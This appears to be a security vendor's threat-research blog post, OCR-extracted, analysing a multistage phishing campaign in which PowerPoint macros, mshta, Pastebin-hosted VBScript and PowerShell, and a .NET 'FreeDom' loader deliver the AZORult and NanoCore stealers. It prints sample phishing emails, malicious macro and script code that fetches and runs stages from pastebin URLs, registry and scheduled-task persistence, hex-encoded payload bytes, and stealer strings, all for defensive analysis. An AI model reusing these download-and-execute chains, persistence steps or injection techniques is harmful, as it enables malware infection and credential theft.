Multistage FreeDom Loader Used to Spread AZORult and
NanoCore RAT

zscaler.com/blogs/research/multistage-freedom-loader-used-spread-azorult-and-nanocore-rat

In March 2020, ThreatLabz observed several Microsoft Office PowerPoint files being used
in the wild by a threat actor to spread AZORult and NanoCore RAT. The malicious files in
this campaign used an interesting payload delivery method that distinguishes it from the
common malware delivery methods observed on a daily basis. The infection chain is
modular, with multiple stages involved before the final payload is executed on the machine.

Since the last week of March 2020, we observed a few changes in the encoding method
and the macro code used in the loader, which we will also describe in this blog.

This campaign is active in the wild at the time of this writing.

We provide a technical description of the infection chain and the unique indicators found in
the files, which we used to categorize the loader with a specific name. We also used the
unique delivery method used in this campaign, along with other attributes, to correlate this
threat actor to the Aggah campaign, which was documented in April 2019 by Unit 42.

The older instances of the campaign in 2019 were used to spread the Revenge RAT. In the
new instances, we have observed a few changes in the campaign in addition to the type of
final payload delivered.

Email delivery method

The malware delivery method in this campaign involves sending Microsoft Office

PowerPoint files as attachments to the users. An example of the email is shown in Figure 1.
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® Bima Pradipta & i S acin o
RMW PO 200100171 - PT RAFITAMA MILLENIAL WAHYUDI

Te: undisclc

recipients:,

Hi,
Please refer to our attached new order. let us know your best price including shipping cost to our address below.
NOTE: items in red ink must be shipped by express shipment.

Thank you for yeur kindly suppart.

Best regards,
Bima Pradipta A
Purchasing & Import

‘Q RAFITAMA

MILLENIAL WAHYUDI

Phane  : 62-21 - 54210098
Fax : 62-21 - 54210099
Address : JI. Boulevard Raya, Graha Saphire Blok M5 No, 9C

Gading Serpong, Tangerang, 13810,

This email message, including accompanying communications and attachments, is strictly confidential, for the sole use of the intended recipient(s) and may contain privileged information. Any unauthorized use, review, disclosure or
distribution is prohibited. If you are not the intended recipient, please contact the sender by reply e-mail and destroy all coples of the original message. Thank you.

bPlease consider the environment befare printing this e-mail.

=

+ @
20200330JU30
181679080 ppt

Figure 1: An email targeting users in Indonesia.

Figure 2 shows two more email samples that show the threat actor targeting users in South
Korea.

® JHJun & 6 W 3t D217
Analysis Reports From IDS Group
To: undisclosed-recipients:
Hi,

As requested, please find attached analysis reports,
Should you have any queries in relation to the attached analysis reports, please do not hesitate to contact us.
Thank you and best regards,

JHIUN (Ms.) / KYAHN (Mr.) - IDS
1Ds

IDS GROUP CO., LTD

#105, Byoksan digital vally 3 cha, 271, Digital-ro
Guro-gu, Seoul, Korea
Tel: +82-2-2025-1150
Fax: 82-2-2025-1154

+ @&

Analysis
Reports.ppt

Figure 2: An email targeting South Korean users with an analysis report theme.
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® Thomas Stone & arch 2020 at -
RE: P/O Proposal w

To: yeonyeBE@hanmall.net

Hello,

I hope you are having a good day.

Pleage provide a working mobde nurmber | can eacnyoum as|
have tried countless times to connect with you &l ur last
convarsation but all efforis proved abortive.

| have gane through your pnﬂfouoanulmus[ commend your
achievemants so far. Great jol

MyBu 5 has expressed his interest in establishing & leading
business relationship with your firm ndlrus!lhlwssan
furthes acheive even more.

Also note that all outstanding payment from the previous invoice
will be paid completely before the new deal commences

Kindly view the attached P/O proposal and | would appreciate your
suggestions on the figures and commission.

Kindest Regards,

i@

Thomas Stone. Propasal PO.ppt

Figure 3: An email targeting South Korea users with a business proposal theme.

Based on the analysis of the email content and email headers, we concluded that this threat
actor has been actively targeting users in the Asian subcontinent, specifically South Korea
and Indonesia. The content of the emails varies from business proposals to product price
negotiations.

Technical analysis of the multistage loader

We will take a Microsoft Office PowerPoint file as an example to demonstrate the infection
chain and the various steps involved in it.

The MDS5 hash for this is: 0b0b570451b699d96¢c70ebf400628caa.

Macro-based downloader [Stage 1]

The PowerPoint file contains a macro that leverages mshta to download the next stage
payload from Pastebin. Auto_Close() in the macro ensures that the malicious code is
executed only when the file is closed.

All the instances we observed in March 2020 were using j.mp as the shortened URL service
to download the next stage payload.

The relevant macro code is shown in Figure 4.

Sub animations()
huto_Close
End Sub

Sub Auto_Close()
Shell "™ 4+ "UUT 4 a4 Mhtgt 4 PUUT o 4ommmn opomeo g MRe" 4 Teps™ 4 "0 3.7 4+ "mphdahs734dds" + "dghaS4rrr

7  End Suy

mon e W N R

Figure 4: The macro code in the Microsoft Office file used to download the next stage.
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The shortened URL redirects to the Pastebin URL: hxxps://pastebin[.Jcom/raw/rsbLNHJg,
which contains the encoded next stage. We can see in Figure 5 that this Pastebin account
belongs to the username LUNLAYLOO.

= © & ¥ https://pastebin.com/rsbLNHJg e @ 0

PASTEBIN FAQ

king-power-6 [ £ sare |
LUNLAYLOO APR 5TH, 2020 126 NEVER m

a . Special offer for Pastebin.com users

-, 2-Year VPN Plan $1.99/mo

text 1.55 KB raw download clone embed report print
<script>
<le=
document.write(unescape("%3Cscript%201language%3D%22%26%2386%3B%26%2366%3B%26%2383%3B%26%2399%3B%26%23114%3B%26%23105%3B%26%23112
%3B%26%23116%3B%2 2%3E%0A%0A%DA%OA%27 s chedulars20%0A%0AC reatelbject%28%22WScript.She L 1%22%29. Run%2085t rReve rse%28%22 /%2008%200m
J%20ETUNIM%:20cs /%20etaerc/%20sksathcs%22%29%20+%20%22tn%20%22%22Pornhub%22%22%20 /1 rs20%22%22%5(%2 2%22%2Tmshta%5C%22%22%20ht tp
%3A%5(%5Cpastebin. coms5Craws5CiNzQf tawhs22%22%20/ F%20%22%2C0%0A%0A%27 instant%20%BACreate0bject%28%22WScript. She 11%22%29. Run%20%22
%22%22mshta%22%22%22%22http%3A%5C%5Cpastebin. com%5Craws5CiNzQTtqws22%22%2 2%0A%0A%0A%27 customers20backup%@ACreatelbject
%28%22WScript.Shel1%22%29. RegWrite%s20%22HKCUs5CSoftwares5CMicrosoft%5CWindows%5CCurrentVersions5CRuN%SCBACKUp2%22%2C%20%22%22%22m
%22%20+%20%225%2 2%20+%20%22h%22%20+%20%22 1%22%20+%20%222%22%22%2 2%2 2h T tp%3A%5C%5Cpas tebin. coms5C raws5CwmU2hRgd%22%22%2 2%2C
%20%22REG_SZ%22%0A%0A%2Tmine%20backup%@A%0ACreatelbjects28%22WScript.Shell%22%29.Regirite
%20%22HKCUsSCSof twares5CMicrosoftsSCWindowss5CCurrentVers ion%s5CRun%5 CBACKUp3%22%2C%20%2 2%22%2 2m%2 2%204%20%225%22%2 0+%20%22h
%522%20+%20%221%22%20+%20%22a%22%22%22%22ht 1 p%3A%5C%5Cpastebin. coms5C raws5ChxKddkars22%22%22%2 (%20%2 2REG_S5Z%2 2%0A%BA%0A
%27 runs2@onceksz@defendersdACreatelbject®s28%22WScript. Shel1%22%29, RegWrite
%20%22HKCU%5CSoftwares5CMicrosoft%s5CWindows%5CCurrentVersions5CRUNONce%s5C%22%2(%20%2 2%22%22m%s22%20+%20%22 5%22%20+%20%22h%22
%20+%20%221%22%20+%20%222%22%22%22%22ht tp%3AL5C%5Cpastebin. coms5C raws5Cv2US 10AY%22%22%22%2(%20%22REC_SZ%22%0A%0A%0A
%0A%0Ase L. closes@A%3C/script%3E%0A%0A") ) ;

1 Ff—>

</script>

Figure 5: The encoded content of the next stage hosted on Pastebin.

Figure 6 shows a screenshot of the Pastebin account hosting this content. All the content
hosted by this user on Pastebin is set to private.
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{2 © & https://pastebin.com/u/lunlayloo

1t
‘13:;3- PASTEBIN co[B@ A ToOLs  FAQ  DEALS S paste

Lunlayloo's Pastebin

907 0 [%] 228 DAYS AGO

Lunlayloo has no public pastes.

Figure 6: All the pastes under the username Lunlayloo on Pastebin are set to private.

Among all the samples we analyzed in this campaign, the Pastebin accounts that were
used to host the multiple stages belonged only to three individuals (listed below) and they
were re-used across all the samples.

e lunlayloo
e redcobalt

* gogga?

JavaScript loader [Stage 2]

With the help of a macro, it downloads an encoded VBScript from Pastebin as shown in
Figure 7.

<script>

document . w

Ji-->
<fscript

Figure 7: The obfuscated JavaScript downloaded by the macro.
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The encoding method used was consistent across all the samples we observed in March
2020. In the newer variants seen in the wild, we observed a few changes in the encoding
method, which we will describe later in this blog.

The URL-encoded text was decoded using the unescape() function.

The decoded script is a VBScript as shown in Figure 8.

<acript languages=";#E6: SH66; SH #99; 6H114: 6#105; 68112 6#116; ">

CreaceChject({ "WScript.She }.Run StrReverse( =l TUNIN c=/ etaerc/ sksathca™) + "tn Bl tr "M UT i mahe heop astebin. com) ravy INEQETgw” F 7,0

custom ach
Create Object( "WScript hell").RegWrice "HECU frwar ni sofc) Windows irrentVe ionh Run\BACKupz ", """m" 4 "=" 4+
Createtbject{ "iScript .Shall”) . RegWrite "HECU\Sofcware|Nicrosofc) Windows)CurrentWersion) Bun)\BRCKup3™, "FimM & Hglf 4 PRt 4 Pei g mg#orrneen: ) pascebin, corh raw hxBddkar "H,

Createdbject{ "UScript.Shell”) . RegWrice “HECU frware| Hicrosoft) Windows' CurrentVWersion) Bunfmoel ®, PH#mP 4 Mgl 4 MRt g Peit g WaRiRRhpep, astebir B, Eaw

self.cloze
<}scr1p:4

Figure 8: The decoded VBScript used to download the next stage and start the infection
chain.

The main operations performed at this stage are:

1. It creates a scheduled task with the name Pornhub. This task leverages mshta to
download the next stage payload from Pastebin as well. We observed the scheduled
task name set to Pornhub in all the samples used in this campaign, which is another
indicator we used to correlate the samples.

2. The same command that was scheduled in step 1 is also immediately executed to
start the infection chain.

3. It creates the following three Windows registry keys for persistence (used for the
backup plan as the name indicates) to ensure that the infection chain begins once the
machine is restarted.

o HKCU\Software\Microsoft\Windows\CurrentVersion\Run\BACKup2
o« HKCU\Software\Microsoft\Windows\CurrentVersion\Run\BACKup3
o HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce\

The fact that this VBScript ensures that a scheduled task is created and three backup
Windows Registry keys are created for persistence indicates that the attacker took extra
measures to ensure that the infection chain starts on the machine.

VBScript leverages PowerShell [Stage 3]
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In Stage 3, another encoded VBScript is fetched from Pastebin as shown below.

<script>

cle=

documwent. vrite (unescape ["33Cacripts20languagesIDy 2252652386535 265236653 D% 264236353 B426%2390%3B%26%23114%3D426%23105%3D%26%23112%3B426%23116%35522%3E%0ASecs 20men%20%30%20Cr
eatelbjectsZ65trReverses 28522 11ehS.cplreSWs 22529529501 111%20%3D%20%22ps22%204%205%220%225%20+%20%22ws22%20+%20%22e%22%204%20%22r%22%5204%20%223he%225204520%2211%20d0%20%7B%24
pings20%3D%Z0iesc-connect ions20-comps 20google . coms20-counts 2015 20-0uiecs 105 20unt 1 152052652 4pings 295 555 24p2 2% 205 305 205 SBENumt 503 3 A% I AToth jects 265 565 yacem. Net . Secus 225 20+520%
22ricyProtocol TypesShs 2052030725294 365565 ystem. Ner . ServicePoint anagers SD43 A3 hSecur ityPrococo 13205305 205 24p22 5 385 245 303 20New-Cbjecn s 20-Com 20Microsoft . XMLHT TP 385 240 . open
528%2TGETS 27520k 2742252043 20%22hs 225 2045205225 2252045205 22042242045 20%22ps 2242045 2052295223 204320522534/ / pasteblin. cont 225204520522/ EaV/ $22%20+452032282ehs 225 2045 205 22E1NGH2
TH2CE24fa10e520%3B%24t . Sends 265255 3B 240y 3D SETexnt . Encodings 5D 3RS 3 A% 2 TUTFE%27 . 5270t Srrings2 7528 SBConverc s 505 345 3 A% 2 TF romBased4Strings 2742684 24t . response Text ¥ 295205 7CI5 60
E%60X%3B55BBytes5Bx5D350%24C1125%3D%201exs281ex 285274265265 28GCHR2Z0YU-0"%29%27+520%27TNet . 52 7+%2TWebCs2 74527 11ents29%27+%27. DOws 2T+3 2 Tnloads 27432750y 2 7T+5 271ng% 2852752 Ths 22%
BO+%20%22L422420+4205220522% 204520522 p% 2252045204 2254 225 20+5 20522434/ / ps 225 2045 205 22a0nehs 225 20+52 0% 22 ins 225 20+4 204 22, $ 225 20+ 204 2204 2252045205 2205 225 2044 204 22wk 225 20452052
252252045205 22rav/xheahy0ps 27527520,  replaces 2642 75 27K _EX2 75275 2C%2 752 T0N%2 75275205275 29%29% 20% 7TC3 205 3652453 D% SBSyaten. Ret lection. kesenb 1y SD3 3 A% 3 ALoads 265 24decompressedE
prelrrays29%5355556Givaras Shs3 A3 AFreebomt 2652 Tnotepad. exe3 275205 2401 125295225 0A% DAmmn . Runs20111132C5 20vh Hide DA DA% 05 0A%0hse 1f . close% 0430/ Scripes3E™) ) ¢

1>

</scripc>

Figure 9: The encoded VBScript downloaded in Stage 3.

This VBScript, once decoded, looks as shown in Figure 10.

<zcript language="SHEE6; SHE6; SHE3; SHO9; EHL1L14; CHL05; £f112; £H116; ">

Set mmn = CreateCbject (StrReverse (“llehS.tpirc3u™))

1111 = "p*" 4+ Mg" 4+ "g" 4 "a® 4 "r® 4 Mgpe” 4 v1] do {$ping = tesc-connection -comp google.com -count 1 -Quiec! uncil ($ping):§p22 = [Enum] ::ToObject ([Syscem.Net.Secu” +
"ricyProcecolType], 3072);[System.Net.ServicePoincManager] ::SecurityProtocol = §p22;§t= New-Object —Com Microsoft.XMLHETTP;§c.open('GET",'" + "h" & "C" + “c" 4 *p" 4+ "3" +
i/ fpastebin.com™ 4 "Jraw/" 4+ "SIeb" 4

TEING',§false) :ft.gend() ;§ty=[Text.Encoding) : 1 ' UTFE' . ' GetScring' ([Convert] ::'FromBasesdScring' (§t.responseText)) | I E X:[Byte[]]§C112= iex(lex(' (£(GCH TW-OF) '+
‘Met.'+'WebC'+' lienc)'+'.Dow'+'nload'+' Str'+'ing (' "h™ + "™ + "TY 4 UpT 4 Ma® 4 Ui//p" 4 Masteb" 4 Min® b LY b Mot & Mo 4 w4 RS 4

"raw/xhoshyOp' ') .replace (" 'K E'',''0x'') ")) | gric=[System. Reflection. Assexbly) ::Load({decompressedBytedrray) ; [Givara) : : FreeDom(' notepad.exe', §C1i2) "

mem.Bun 1111, vkHide

=elf.close
</script>

Figure 10: The VBScript uses PowerShell to load .NET assemblies.

As we can see in the decoded VBScript, it leverages PowerShell to continue the infection
chain.

Below are the main operations performed by the PowerShell command line:

1. Set the TLS version to 1.2 by setting SecurityProtocolType to 3072.

2. Download a Base64 encoded blob from Pastebin. This Base64 encoded blob decodes
to another PowerShell script as shown in Figure 11. The script is executed by calling
IEX (Invoke Execution). We will describe this script in more detail later.
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|function Get-DecompressedBycehrray (

[CrdletBinding()]
Farem {[byte[]] ShyteArray)

| Frocess {
Write-Verbose "Get-DecompressedByteirray”
Sinput = New-Cbject System.IO.MemoryStream{ , ShyteArray }
Soutput = New-Ohject System. I0. NemoryStream

SgzipStream = New-COhject System. 10.Compression.GzipStream $input, (([I0.Compression.CompressionMode]::Decompress)

Shuffer = New-Cbject byte[]{1024)
| while{Strue){
Sread = $gzipstream.Read(§buffer, °, 10°4)
if {Sread -le [} {break}
Soutput.iirice{Shutfer, |, Sread)

H

[byre[]] SbytefutArray = Soutput.ToArray() I
Urite-Output §hyteOutArray

Figure 11: The PowerShell code that is used to decompress the .NET loader.

It then downloads another payload from Pastebin. This payload contains the hex
representation of the binary code with the characters “K_E” instead of “Ox” as shown in
Figure 12. By performing a simple replace operation, this payload is passed as a byte array
to the function: [Givara)]::FreeDom(). We will refer to this payload as payload2.
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C (@ Not Secure

K_E4D, K_E5A,
K_EFF, K_EFF,
K_E40, K_E00,
K_E00, K_E00,
K_E00, K_E00,
K_E00, K_EO1,
K_E21, K_EBS,
K_E20, K_E70,
K_E74, K_E20,
K_E65, K_E72,
K_E00, K_E00,
K_E00, K_E00,
K_E00, K_E00,
K_E00, K_E00,
K_E00, K_E00,
K_E00, K_E00,
K_E00, K_E00,
K_E00, K_E00,
K_E00, K_E00,
K_E00, K_E00,
K_E00, K_E00,
K_E00, K_E00,
K_E19, K_ESE,
K_EE0, K_E00,
K_E00, K_E24,
K_EO00, K_E10,
K_E00, K_E10,
K_E00, K_E00,
K_EO00, K_E00,
K_E02, K_E00,
K_E00, K_E00,
K_El0, K_E00,
K_E00, K_EDO,
K_E00, K_E00,
K_E00, K_E00,
K_E5C, K_E13,
K_E00, K_E00,
K_E00, K_E00,
K_E00, K_E00,
K_E00, K_E00,
K_E00, K_E00,
K_E00, K_E00,
K_E43, K_E4F,
K_EO00, K_E10,
K_E00, K_E00,
K_E20, K_E00,

Figure 12: The encoded malicious binary downloaded from Pastebin.
The MD5 hash of the payload is: 60221d709e0ad65bb23bd00a3977c55d

This corresponds to the AZORult Delphi binary file. We will not be describing the
functionality of this binary in detail in this blog since it is a well-known infostealer. The
strings are available in plain text and the screenshot in Figure 13 shows the strings
corresponding to information it steals (Skype, Telegram, Steam, cryptocurrencies, Pidgin

and others).

K_E50,
K_E00,
K_ElA,
K_E00,
K_EO00,
K_E00,
K_EO1,
K_E72,
K_E62,
K_E20,
K_E00,
K_E00,
K_E00,
K_E00,
K_E00,
K_E00,
K_E00,
K_E00,
K_E00,
K_EO00,
K_E00,
K_E00,
K_E42,
K_EBE,
K_E00,
K_E00,
K_E00,
K_E00,
K_E02,
K_E00,
K_E1l0,
K_E00,
K_EO1,
K_E00,
K_EO00,
K_E00,
K_E00,
K_E00,
K_E00,
K_E00,
K_E00,
K_E00,
K_E44,
K_E00,
K_E00,
K_E00,

pastebin.com/raw/xhcsAyOp

K_E00,
K_E00,
K_E00,
K_E00,
K_E00,
K_E00,
K_E4C,
K_E6F,
K_E65,
K_E57,
K_EO00,
K_E00,
K_E00,
K_E00,

K_E00,
K_EO00,
K_E0O,
K_E45,
K_E00,
K_E0O,
K_E60,

K_E02,
K_EBB,
K_E00,
K_E00,
K_EO00,
K_EBA,
K_ECD,
K_E&7,
K_E20,
K_E69,
K_E00,
K_E00,
K_E00,
K_E00,
K_E00,
K_E00,
K_E00,
K_E00,
K_E00,
K_E00,
K_E00,
K_E50,
K_E00,
K_EOB,
K_E00,
K_E00,
K_E00,
K_E04,
K_E00,
K_E00,
K_E00,
K_E00,
K_E9E,
K_E00,
K_E00,
K_EO00,
K_E00,
K_E00,
K_EO00,
K_E00,
K_E00,
K_EO00,
K_E00,
K_E00,
K_E00,
K_Ed44,

K_E00,
K_EO00,
K_E00,
K_E00,
K_EO00,
K_E10,
K_E21,
K_E72,
K_E72,
K_E6E,
K_E00,
K_E00,
K_E00,
K_E00,
K_E00,
K_E00,
K_E00,
K_E00,
K_E00,
K_E00,
K_E00,
K_E45,
K_E00,
K_E01,
K_E00,
K_EBO,
K_E02,
K_E00,
K_E04,
K_E00,
K_E10,
K_E00,
K_E07,
K_E00,
K_E00,
K_E00,
K_E00,
K_E00,
K_E00,
K_E00,
K_E00,
K_E00,
K_E00,
K_E98,
K_E00,
K_E41,

K_E00, K _E00,
K_E00, K_EO00,
K_E00, K _E00,
K_E00, K_E00,
K_E00, K_EO00,
K_E00, K_EOE,
K_E90, K_E90,
K_E61, K_E6D,
K_E75, K_E6E,
K_E33, K_E32,
K_E00, K_EO00,
K_E00, K_E00,
K_E00, K_E00,
K_E00, K_E00,
K_E00, K_E00,
K_E00, K_E00,
K_E00, K_E00,
K_E00, K _E00,
K_E00, K _E00,
K_E00, K_E00,
K_E00, K_E00,
K_E00, K_E00,
K_E00, K_E00,
K_E02, K_E19,
K_E00, K_E00,
K_EO01, K_E00,
K_E00, K_E00,
K_E00, K_E00,
K_E00, K_E00,
K_E10, K_EO00,
K_E00, K_E00,
K_E00, K_E00,
K_E00, K_E00,
K_E00, K _E00,
K_E00, K_E00,
K_E00, K _E00,
K_E00, K_E00,
K_E00, K_E00,
K_E00, K_E00,
K_E00, K_E00,
K_E00, K_E00,
K_E00, K_E00,
K_E00, K_E00,
K_E01, K_E00,
K_E00, K_EO00,
K_E54, K_E41,

K_E04,
K_EO00,
K_E00,
K_E00,
EK_EO00,
K_E1F,
K_E54,
K_E20,
K_E20,
K_EOD,
K_E00,
K_E00,
K_E00,
K_E00,
K_E00,
K_E00,
K_E00,
K_E00,
K_E00,
K_E00,
K_E00,
K_EdC,
K_E00,
K_E00,
K_EB84,
K_E00,
K_E04,
K_E00,
K_E00,
K_E00,
K_E00,
K_E00,
K_E00,
K_E00,
K_E00,
K_E0O0,
K_E00,
K_E00,
K_E00,
K_E00,
K_E00,
K_E00,
K_EBO,
K_E00,
K_E00,
K_E00,

K_E00, K _EOF,
K_E00, K E00,
K_E00, K_E00,
K_E00, K_E00,
K_EO0, K_EO00,
K_EB4, K_E09,
K_E68, K_E69,
K_E6D, K_ET75,
K_E75, K_E6E,
K_EOA, K_E24,
K_E00, K_E00,
K_E00, K_E00,
K_E00, K_E00,
K_E00, K_E00,
K_E00, K_E00,
K_E00, K_E00,
K_E00, K_E00,
K_E00, K_E00,
K_E00, K_E00,
K_E00, K_E00,
K_E00, K_E00,
K_E01, K_E05,
K_E00, K_E00,
K_E98, K_E01,
K_EA6, K_E01,
K_E00, K_E40,
K_E00, K_E00,
K_E00, K_E00,
K_E00, K_E00,
K_E40, K_E00,
K_E00, K_E00,
K_E00, K_E00,
K_E00, K_E00,
K_E00, K_E00,
K_EEQ, K_E01,
K_E00, K_E00,
K_E00, K_E00,
K_E00, K_E00,
K_E00, K_E00,
K_E00, K_E00,
K_E00, K_E00,
K_E00, K_E00,
K_E96, K_E01,
K_E04, K_E00,
K_E00, K_E00,
K_E00, K_E00,

K_E00,
K_E00,
K_E00,
K_E00,
K_EO00,
K_ECD,
K_E73,
K_E73,
K_E64,
K_E37,
K_E00,
K_E00,
K_E00,
K_E00,
K_E00,
K_E00,
K_E00,
K_E00,
K_E00,
K_E00,
K_E00,
K_E00,
K_E00,
K_E00,
K_E00,
K_E00,
K_E00,
K_E00,
K_E00,
K_E00,
K_E00,
K_E00,
K_E00,
K_E00,
K_E00,
K_E00,
K_E00,
K_E00,
K_E00,
K_E00,
K_E00,
K_E00,
K_E00,
K_E00,
K_E00,
K_E00,
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4 00000000BDBSE 00000040CSB8 O Use ame

U 00000000C444 000000400044 O <>

U 00000000C7A4 000000400344 O “accounts. xml

O 00000000CE7S 000000400778 O ZAPPDATAZN purpletaccounts. xml
U 00000000D2C0 0O0OCO40DECD O %TEMP\curbuf dat
U 00000000DY7C OOOOOOMOESTC O ZTEMP%

U 00000000DCDC 0O0OOO40ESDE O ZTEMPZ

4 00000000ET1BO  0O0OCOM40EDBO O %TEMP%

U 000000O0ESEC  0O0OCO40F1EC O “Cookies

U ODOOODOOECFC  0OOOOO40FSFC O bt

U DO0DODOOEDTS  000DO040FS16 0 *.coo

Uf 00000000FFE8  0000CO410BBE O ZTEMP%

U 000000010244 0000CO410E44 O ZTEMPZ

U 000000010588 000000411188 0 ZTEMP%

O 000000011C5C  0O000O41285C O %TEMPZ

Ui 000000012034 0000OO412C34 O XTEMP%

U 000000012410 000000413010 0 “History

U 000000012648 000000413248 O “places. sqlite

UF 000000014248 000000414E48 O HAPPDATAASkype
U 0000000142E0  0O0OCO414EED O mair. db

U 0000000142F4  0O0OOO414EF4 O “mair.db

U 0000000145C0  0000OOMSICO O SteamPath

4 000000014508 000000415108 O Software’Valve\Steam
U 000000014618 000000415218 ] hastn®

U 00000001462C  00000OM1522C O “Configh” wdf

(i 00000001464C  00000041524C O “Configh

U 0000000151E4  0000CO4150DE4 O ZAPPDATAZN

U 000000015214 0O0OCO415E14 O ‘autoscan'

U 000000015230 0O0OOO41BE30 O “Moneroh

U 000000015248 0000OO415E48 O .address. tut

U 000000015268 000OCO415EES O keys

U 000000015278 0OOOOOA1BEYS O Software’,

U 000000015290 O0ODOO415ESD O st atalir

U 000000015CE4  0000OO4168E4 O CPU Model

Ui 00000001835C  0O0OOO418FEC O ZTEMPZA

U 000000018370 0O0000418F70 0 ZPROGRAMDATAZ,
i 0DDODDOT9BEC  DOODOD41AIEC O Caing

U 000000019608 000000414208 O Skype

U 000000019618 0OOOOOA1AZ18 O Telegram

U 000000019630 000000414230 O Dav77F783D5" map”
O 000000019658 000000414258 O *appdata®ATelegram Desktophidata’,
Ui 000000019640 000000414240 O Steam

U 000000O196AC  0000OO41AZAC O image/jpeg

U 000000079838 000000414438 O Fcomspec®

4 000000019650 000000414450 O /o HWINDIR \spstem32ytimeout.exe 3 & del "

Figure 13: The Unicode strings in the binary file that corresponds to the information stolen.

Across all the samples we observed in this campaign, the final payload varied between
AZORult and NanoCore infostealer binaries.

We observed that the function name [Givara]::FreeDom() in the loader was consistent
across all the samples.

The function name appears to be a reference to Che Guevara who is remembered as a
freedom fighter by many.

PowerShell starts the FreeDom loader [Stage 4]

Let's take a look at the PowerShell script, which was downloaded in step 2 of stage 3. This
PowerShell script contains a GZip compressed .NET binary, which will be decompressed
and stored in the variable $decompressedByteArray

Stage 3 will reference the variable $decompressedByteArray to load it as a .NET assembly
using the method [System.Reflection.Assembly]::Load().

The MD5 hash of the loader is: ¢726636d2b7{8c838f7f882071181c95.
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The method [Givara]::FreeDom() is defined in the .NET loader and it is used to load the
infostealer malicious binary (in this case, AZORult).

So the payload execution is triggered using the following syntax:
Guevara_Loader. [Givara]::FreeDom(‘notepad.exe’, infostealer_binary)

Here, Guevara_Loader refers to the .NET binary used to load and inject the final infostealer
binary in the notepad.exe process.

It is important to note that there were no changes made to the loader binary by the threat
actor throughout the campaign.

FreeDom .NET loader analysis

The .NET loader binary is protected using the Confuser Ex 1.0.0 obfuscator.
On VirusTotal, the first instance of the loader was observed on January 16, 2020.
After removing the Confuser Ex 1.0.0 protection, we can decompile the binary successfully.

The [Givara]::FreeDom function, which is passed the string, notepad.exe and the AZORult
binary, is shown in Figure 14.

(

HeHe heHe = HeHe();

heHe.Daym(FTON], coco);

Figure 14: This is the main function of the FreeDom loader.
The parameters for FreeDom function are as follows:
FTONJ — A string called notepad.exe

Coco — The byte array corresponding to the AZORult binary

The HeHe class checks for the presence of notepad.exe in different system paths on the
machine. Once it locates the file, it passes that to the tickleme() function along with the
AZORult byte array as shown in Figure 15.
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FTONJ,

", FTOND);
", FTOND);

, "Framework”), FTONJ),

(text5, coco);

Figure 15: It check for the presence of notepad.exe and injects the AZORult binary into it.

The tickleme() function, in turn, calls a function called FUN(), which is responsible for
starting a new instance of the notepad.exe process and injecting the AZORult binary into it
using the process hollowing method.

Macro code changes in new variants

The newer variants in this campaign updated the encoding method and the macro used.

As an example, let us look at a macro-based PowerPoint file with MD5 hash:
7db36d502e4a1d35873c8a0c51bafbbf

The newer variant of the macro is as shown in Figure 16.

Sub Aute_Close()
Createchbiect{"T - [T T — e ; i — : L, MR g e g W 4 e g mgman

End Sub

Figure 16: The macro code in the new variant.

In this new variant, the macro creates a Windows persistence key in the location:
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce\ and adds the command line
to leverage mshta to download the malicious next stage payload.

As a result, the infection chain does not start unless the machine is rebooted.

Also, we observed the macro using the bit.ly URL shortening link directly instead of the j.mp
URL shortening link observed in the previous variant.
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Encoding changes in the new variant

The other key change we observed in the new variant is in the script encoding used for
each stage. In the previous variant, the encoding method was simple because it just
involved URL encoding and the unescape() function was called to decode it.

An example of the new encoding method is as shown in Figure 17.

<script type="text/javascript™s

-

eval {unescape (' k6675, 6ek 63 Tdk 69k 6Lk Fok20t ARk IALI0LI0L3 1636L3 13T 6AL AR 2BETIL20E20% TheOak00t 76 615 T2L20% 72204 3dE20%22% 2253k 0ak00% T6L 615722205 7as 6d TOL20%3dR 20% T34 20873k
TORECY 69 T4 EB% 225325305 355345305385 385345225295 3D, 0a%09% T35 20% 3dk 205755 6% 655 TR 635615 TOY 655 20% 745 6% 70 5% 305 5d% 29% 3bs0a%x09% bk 20k 3% 205755 6ok 65 T34 6% 61 T0E 655 2B TR 637
0%5b%31%5d%20%2bs 2062253 7%3243 7345364315224 29 0% 0ak09% 66+ 6£L 724285204 76, 61% 724204 65420%3d%20%3043b%20%69%20% 30420 7342k 6ok 654 6k 674745 684 3b% 20% 69%2b42bs29%20% Tb% Dat09% 09
FT2%20%2b% Idr 206536 T4 T2 4 60k Gk 6TR2 e 66 T2 6L AR A3 % 6B A1 T2 AR 6L 4% 655 2BE2 TOL 61X 725 TIR655 495 6ok T4 205 Ehi 2ok 63 ABE A1 T2 41% 745254 695255 6bhk2 et 6ok 65k 6ok 674 T4% 685294 29% Sak
TIRZeh 6360 1% T2e4 4 6L 4% 65413 TA% 204 69% 295204 2bk 253452 9% 3b4 0nk 095 TA%0ak 095 T2 655744 752 T2% 6ok 205 725 3bi 0ok 7dk0a') ) ;

eval {unescape (‘461 6ot 65 T2 745204 6a8 I44 30630 I LI ELILLITRE4R 6342827 ) +

'R TIR62RTIRE5R TSR TERIIRTIR 62 T6Y60R TAR 66 6L 6o 442 e 2R E0RIDRIONIBAZeRZ 1% 3bAIIDVILR22%34% 3653052 0% 255 3ak 3G ZDRZ4RI LA I0RIARITHZDAZ0FI2RI6FIeR DA IR 2643681533 Ik 22
%26%32%32430%394%22444%1040d% 15%0b% 143064 10409% 404744 6ot 614 Te% 685504 62% 6h4 6o 6£37942b% 214594 50% 635 704 602 774 704 1 75 524644 684 774 77524428 368 S04 782715204 524 7d% Tt 57 et Tdé 6ba 714
TIH6ER 2255374213314 34425 744764314235 4d3 ey 504 515 404 544215 6E4 764 145204 6b TE4 614 6627746443 TR 2 1% T2 674 764 623 714 6ed 602 TI4 2042052 742b4 215235703 734234215 245533 774 7O TIR6E4 TAA 6
422N 2SR TN T4 234224204 61 255 224 TH T4 64 T 62467245214 20%6a% T ThE TO4 3D 654 604 754 624704 Tat 6ot 624 b e 734 314 635 764 745604 TTH 625 TCH 629424564308 7da 7EA S0 4o Ges 227423504
$48%23%22436%35%124%0a%1440b% 195 0£43 403 714 6b4 625 74 6E4 529 654 6m3 6oy 623704 2% 214505 564 604 724 6b4 754 Tby I 64 523693614715 7742132 £ 354 52 TE4 T4 274225 234239704 764 6b TEL 6732142242052 7%
GEY7CYTAY 713365613674 73367370 e 6L 673 60376337162 TRATORETI TV 67 TC 643433535353 705745114153 6a%21321%24%1630a%1730£5 443 723603603703 603543613 604608633 7e% 203253583 52362%Ted 6
